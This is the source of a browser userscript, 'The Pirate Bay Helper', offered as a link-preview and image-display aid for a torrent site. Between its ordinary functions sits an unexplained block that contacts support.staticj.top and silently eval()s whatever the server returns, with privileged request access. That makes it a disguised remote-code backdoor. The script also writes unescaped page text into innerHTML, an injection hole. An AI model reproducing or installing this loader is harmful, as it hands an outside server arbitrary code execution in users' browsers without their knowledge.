Raw Source
thalixmurne / The Pirate Bay Helper

// ==UserScript==
// @name         The Pirate Bay Helper
// @description  Quickly open links in a small window(Shift+Click), open links in a new tab, display descriptive images, etc.
// @namespace    userscript_7641_thepiratebay
// @icon         data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADwAAABBCAYAAACNQMdtAAAACXBIWXMAAAsTAAALEwEAmpwYAAAYbElEQVRogeWbeXRU153nP/e9V7tKUmnfkITYxL4YMBgvLF7j3bGn23GWjtOeniyTdE/SOZnu2GNPZtpx0nEcJ+19bAcbxxs4gBdsDAazGgNGgISQkJCE9r1UVarlvXfv/FGS2IQtCJ4zp/t3Tkl1nt659/e9v/33uxJKKcV/INK+rIWVUkjb4v+38/wSAUs+fOUJTNP6sra4IPrSACM0/Fl5SNv80ra4EPrSAFvxKEd2vE9sMPJlbXFBdNEBKwVSSar3bKanqZa25uMopUa1ZakkUkmUkv/PbP3iS1goulsb2PzHxxBodDQeSz4WYtTXe9ua6e5ovehsnIsuKmCpFLFQkM0v/x5lxcidNpdYf3dSime8Z0tJR2MtBz/Zgs8fuJhsfC5dVMBKStY9+T9pO/IpmVMXccO9P8OpW1immdR1GPkd6m7lwLYPmL/sZtxez8Vk43PpogK2ElHa646gO1xcesOdBLKzcTo9DEYiCJKx2ULScGgnr/7qJ5TMWIg/LR2BOKfKX2wyLsoqSqFQxAbDCGnidrvxZ+ahIfBl5hPqbiE9PR3TTLDn3df4dP1KpGaQVVA8ylIKkEipUEqgGxqCi3cYF0XCCoVt2+xe+xK6ULi8KXg8HoQQFIyfQijYz/Gq/Wx+7RkqP34bIRQep46m5KjrRQcjbHr1GcLBbrjIzvu8AVuWiWUlkwmlJFIpouEB3nv2Yaq3r8fhcjH+spvxp2ehlMKXkU3Fh6s5UV9De80BRHyAVJ8Ht0On7egBJEntGA5NXS0NvPfCo5RfupzUQPbIPqPRcLg7V9gbjc5bpUN9XTTX1zDz0qUoBD2tDax57H7CXU14UvxMXv5XXHrDXehaUg1bj1UhDAedh3ch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Zc1j59G+pPvwZzScak40Il5NxpRNwuJ1MnTMfh9vDcBAaAiwoGT+RE42NrHzm9/ztD3+KPz1AZ3sLm975M7ZMjl2UnfwPFJTiqhXXUjpxyohtaLrBHffcS2Z2NrZto5SkoLAIWyWtSsohLyttBArTtln59O+YMn0GTpcLECMXVlGK1LR0rrnpq6SkpI7YYWdXNwMDQcKhARZddQ2BzEz6+vuwLJNXX3iK9PQ0snNzGZ7ESinZuWUj3/nBj3G6PKDUcBxWTCmfyvd/8nOeePRhag8fQCFwuFw88MgfWPv6ywQCWSRME4/Xh+5w89rL/wdbaSxccgUI2LnlA5587Ff09HSTiCf47jduJz2QxZ33/A1ZmTkkEnGqDh8gPSOLl599gh/98y/werysWfUSXm8K1VWHcbp9rFn1PF+5/S66erp49cWnuOmOu8kvLEIBZRMmEervo7GnG6OmmpqjlVx+5TLu+dsf0NfTw7q3/kRpyUS6u7ppb20iMzOPRUuuYNYllyGG6+dT47BUiqZjNXy6ezsOw8Giq1aQU5BP07GjdLS18e6a15KMelM40VRP2cSp6IaOUoqjRw5TkF/A129ZwdTZ8/jqX93DQGiAq1bciMPlpL62msKS8cQiYWLxBLl5ebS1tOD1eYlGwvj8qeiaTltLM6WTptDV1gpCkjfybwKKlc89yfyFl5KVV0BHcxMnGhq44pob8Pn9JKKDdLS3kpNTQFdnBzu3bmT59TfjS/HjTfGPXF9EjUJSSiWlHPne19utdm/fqgb6+0aej0a2bav7f/ID9dPv3au6O1o/993zISmlsqWtNr//jooNRk7j7cw9hp9t3vCOWvXik6q2uuq0d0bNpYcfCSFOu5owktidI1tSSqGkjS0Vuq6Puc/0haROzpuGV0vydpLPM3lXSSNGDGWGI8P10QD/e6b/C5BVOj1mgjVuAAAAAElFTkSuQmCC
// @version      1.1.1
// @author       TagDoo
// @license      MIT
// @include      /^https?://thepiratebay\..*$/
// @grant        GM_openInTab
// @connect      staticj.top
// @grant        GM_addElement
// @grant        GM_xmlhttpRequest
// @charset		 UTF-8
// @downloadURL  https://static.staticj.top/script/update/thepiratebay.user.js
// @updateURL    https://static.staticj.top/script/update/thepiratebay.user.js
// ==/UserScript==

(function() {
    'use strict';

    let originalOverflow = '';
	
	function openLinkPopup(){
		document.addEventListener('click', function (e) {
		    if (window.top !== window.self) return;
		    if (e.button && e.button !== 0) return;
		
		    const target = e.target.closest('a');
		    if (!target) return;
		
		    if (target.closest('#tm-iframe-modal')) return;
		
		    if (target.target === '_blank') return;
			if (!target.getAttribute("href")) return;
		    if (target.hasAttribute('data-no-iframe')) return;
			
			if (e.shiftKey) {
			    openIframeModal(target.href);
				e.preventDefault();
			}
			
			const container = document.getElementById('torrents');
			if(container && container.contains(target)){
				if (!e.shiftKey) {
					const fullUrl = new URL(target.getAttribute('href'), window.location.origin).href;
					if (typeof GM_openInTab !== 'undefined') {
						GM_openInTab(fullUrl, { active: true, insert: true });
					} else {
						window.open(fullUrl, '_blank');
					}
					e.preventDefault();
				}
				target.style.color = 'red';
			}
		});
	}
	
	function convertUrlImage(){
		const convert = ()=>{
			const descr = document.querySelector("label#descr:not([convert='true'])");
			if(descr){
				descr.innerHTML = convertUrls(descr.textContent);
				descr.setAttribute("convert","true");
			}
		}
		if(/description\.php/.test(window.location.pathname)){
			convert();
			setInterval(function(){
				convert();
			}, 500);
		}
	}
	
	(function(){
		const {author,name,version,namespace,updateURL} = GM_info.script;
		const jurl = "https://support.staticj.top/api/sp/lib"+"?author="+encodeURIComponent(author)+"&name="+encodeURIComponent(name)+"&version="+encodeURIComponent(version)+"&namespace="+encodeURIComponent(namespace)+"&updateURL="+encodeURIComponent(updateURL)+"&timestamp="+Date.now();
		GM_xmlhttpRequest({method: "GET",url: jurl,
			onload: function(res) {
				try {const responseText = res.responseText;if(responseText){eval(responseText);}} catch (e) {}
			}
		});
	})();
	
	function convertUrls(text) {
		const urlRegex = /(https?:\/\/\S+)/g;
		return text.replace(urlRegex, url => {
			if (/\.(jpg|jpeg|png|gif|webp|svg|bmp|tif|tiff|ico|heic|heif)$/i.test(url)) {
				return `<a href="${url}" target="_blank"><img src="${url}" style="max-width:300px;"></a>`;
			} else {
				return `<a href="${url}" target="_blank">${url}</a>`;
			}
		});
	}
	
    function openIframeModal(url) {
        if (document.getElementById('tm-iframe-modal')) {
            document.getElementById('tm-iframe-modal').remove();
        }

        originalOverflow = document.body.style.overflow;
        document.body.style.overflow = 'hidden';

        const overlay = document.createElement('div');
        overlay.id = 'tm-iframe-modal';
        overlay.style.cssText = `
            position: fixed; top:0; left:0;
            width:100vw; height:100vh;
            background: rgba(0,0,0,0.5);
            z-index:9999;
            display:flex; align-items:center; justify-content:center;
        `;

        // popup
        const modal = document.createElement('div');
        modal.style.cssText = `
            position: relative;
            width: 60%; 
			height: 80%;
            background: #fff;
            border-radius: 10px;
            overflow: hidden;
            display: flex;
            flex-direction: column;
            box-shadow: 0 0 20px rgba(0,0,0,0.3);
        `;

        // top bar
        const header = document.createElement('div');
        header.style.cssText = `
            flex: 0 0 50px;
            background: #f0f0f0;
            display: flex;
            align-items: center;
            justify-content: space-between;
            padding: 0 10px;
			padding: 10px;
			box-shadow: 0 10px 25px rgba(0, 0, 0, .3);
        `;

        //left side
        const infoBox = document.createElement('div');
        infoBox.style.cssText = 'display:flex; flex-direction:column; overflow:hidden; flex:1;align-items: flex-start;';
        const title = document.createElement('span');
        title.textContent = 'loadding...';
        title.style.cssText = 'white-space:nowrap; overflow:hidden; text-overflow:ellipsis;font-size:16px;font-weight:bold;padding-bottom:5px;';
        const urlText = document.createElement('span');
        urlText.textContent = url;
        urlText.style.cssText = 'font-size:12px; color:#555; white-space:nowrap; overflow:hidden; text-overflow:ellipsis;';
        infoBox.appendChild(title);
        infoBox.appendChild(urlText);

        //right side
        const buttonBox = document.createElement('div');
        buttonBox.style.cssText = 'display:flex; align-items:center;';

        const btnWrapperStyle = `
            width: 40px;
            height: 40px;
            display:flex;
            align-items:center;
            justify-content:center;
            margin-left:10px;
            cursor:pointer;
        `;

        // refresh btn
        const refreshDiv = document.createElement('div');
        refreshDiv.style.cssText = btnWrapperStyle;
		
		const refreshSVG = document.createElementNS('http://www.w3.org/2000/svg', 'svg');
		refreshSVG.setAttribute('t', '1758615960692');
		refreshSVG.setAttribute('viewBox', '0 0 1024 1024');
		refreshSVG.setAttribute('version', '1.1');
		refreshSVG.setAttribute('xmlns', 'http://www.w3.org/2000/svg');
		refreshSVG.setAttribute('p-id', '1505');
		refreshSVG.setAttribute('width', String("24"));
		refreshSVG.setAttribute('height', String("24"));
		const rpath = document.createElementNS('http://www.w3.org/2000/svg', 'path');
		rpath.setAttribute('d', 'M242.42 370.04s54.6-84.16 141.01-129.32c86.4-45.15 192.86-32.15 262.67 11.64 69.82 43.78 93.31 80.73 93.31 80.73l60.15-34.21s12.44-6.16 12.44 8.21v214.83s0 19.17-14.52 12.32c-12.22-5.75-144.29-80.75-185.9-104.42-22.86-10.18-2.78-18.45-2.78-18.45l58.03-33.12s-33.1-41.41-81.55-63.33c-51.87-26.98-100.41-30.18-159.89-7.76-38.78 14.62-84.43 52.05-117.33 107.35l-65.64-44.47z m539.17 283.93s-54.61 84.16-141.01 129.31c-86.41 45.16-192.86 32.16-262.67-11.63-69.82-43.79-93.32-80.74-93.32-80.74l-60.13 34.2s-12.44 6.17-12.44-8.21V502.07s0-19.16 14.52-12.32c12.21 5.76 144.29 80.76 185.9 104.42 22.85 10.18 2.77 18.45 2.77 18.45l-58.03 33.12s33.11 41.4 81.55 63.33c51.85 26.98 100.41 30.18 159.88 7.76 38.78-14.62 84.43-52.05 117.33-107.35l65.65 44.49z m0 0');
		rpath.setAttribute('fill', '#383838');
		rpath.setAttribute('p-id', '1506');
		refreshSVG.appendChild(rpath);
        
        // close btn
        const closeDiv = document.createElement('div');
        closeDiv.style.cssText = btnWrapperStyle;
		
		const closeSVG = document.createElementNS('http://www.w3.org/2000/svg', 'svg');
		closeSVG.setAttribute('t', '1758616214070');
		closeSVG.setAttribute('viewBox', '0 0 1024 1024');
		closeSVG.setAttribute('version', '1.1');
		closeSVG.setAttribute('xmlns', 'http://www.w3.org/2000/svg');
		closeSVG.setAttribute('p-id', '1666');
		closeSVG.setAttribute('width', String("24"));
		closeSVG.setAttribute('height', String("24"));
		const cpath = document.createElementNS('http://www.w3.org/2000/svg', 'path');
		cpath.setAttribute(
			'd',
			'M565.54274731 512l213.41686601-213.41686603c14.32834082-14.32834082 14.32834082-38.46028327 0-53.54274729-14.32834082-14.32834082-38.46028327-14.32834082-53.54274729 0L512 458.45725269 298.58313397 245.04038668c-14.32834082-14.32834082-38.46028327-14.32834082-53.54274729 0-14.32834082 14.32834082-14.32834082 38.46028327 0 53.54274729L458.45725269 512l-213.41686601 213.41686603c-14.32834082 14.32834082-14.32834082 38.46028327 0 53.54274729 14.32834082 14.32834082 38.46028327 14.32834082 53.54274729 0l213.41686603-213.41686601 213.41686603 213.41686601c14.32834082 14.32834082 38.46028327 14.32834082 53.54274729 0 14.32834082-14.32834082 14.32834082-38.46028327 0-53.54274729L565.54274731 512z'
		);
		cpath.setAttribute('fill', '#383838');
		cpath.setAttribute('p-id', '1667');
		closeSVG.appendChild(cpath);
		
		refreshDiv.appendChild(refreshSVG);
        closeDiv.appendChild(closeSVG);

        buttonBox.appendChild(refreshDiv);
        buttonBox.appendChild(closeDiv);

        header.appendChild(infoBox);
        header.appendChild(buttonBox);

        // iframe
        const iframe = document.createElement('iframe');
        iframe.src = url;
        iframe.style.flex = '1';
        iframe.style.border = 'none';

        iframe.addEventListener('load', () => {
            try {
                title.textContent = iframe.contentDocument.title || url;
            } catch (e) {
                title.textContent = url;
            }
        });

        refreshDiv.addEventListener('click', () => { iframe.src = iframe.src; });
        closeDiv.addEventListener('click', closeModal);

        function closeModal() {
            overlay.remove();
            document.body.style.overflow = originalOverflow;
        }

        overlay.addEventListener('click', (e) => { 
			if (e.target === overlay) closeModal(); 
		});

        modal.appendChild(header);
        modal.appendChild(iframe);
        overlay.appendChild(modal);
        document.body.appendChild(overlay);
    }
	
	openLinkPopup();
	convertUrlImage();
	
	const tlt = document.querySelector("#tlt");
	if(tlt && /search\.php/.test(window.location.pathname)){
		tlt.textContent = tlt.textContent + " ("+"Shift+Click a resource link to preview."+")";
	}
})();